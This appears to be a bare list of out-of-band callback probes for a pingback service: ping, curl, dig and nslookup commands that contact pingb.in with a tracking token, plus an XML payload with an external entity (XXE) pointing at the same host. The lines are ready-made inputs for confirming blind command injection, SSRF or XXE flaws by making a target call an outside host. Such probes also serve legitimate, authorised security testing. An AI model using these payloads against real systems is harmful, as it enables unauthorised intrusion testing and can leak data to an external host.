$ ping -c1 -p 004864607ae15a2485d471b84dbc6d00 pingb.in
$ curl pingb.in/p/4864607ae15a2485d471b84dbc6d
$ dig 4864607ae15a2485d471b84dbc6d @pingb.in
$ dig 4864607ae15a2485d471b84dbc6d.ns.pingb.in
C:\> nslookup 4864607ae15a2485d471b84dbc6d pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/4864607ae15a2485d471b84dbc6d">]> <foo>&xxe;</foo>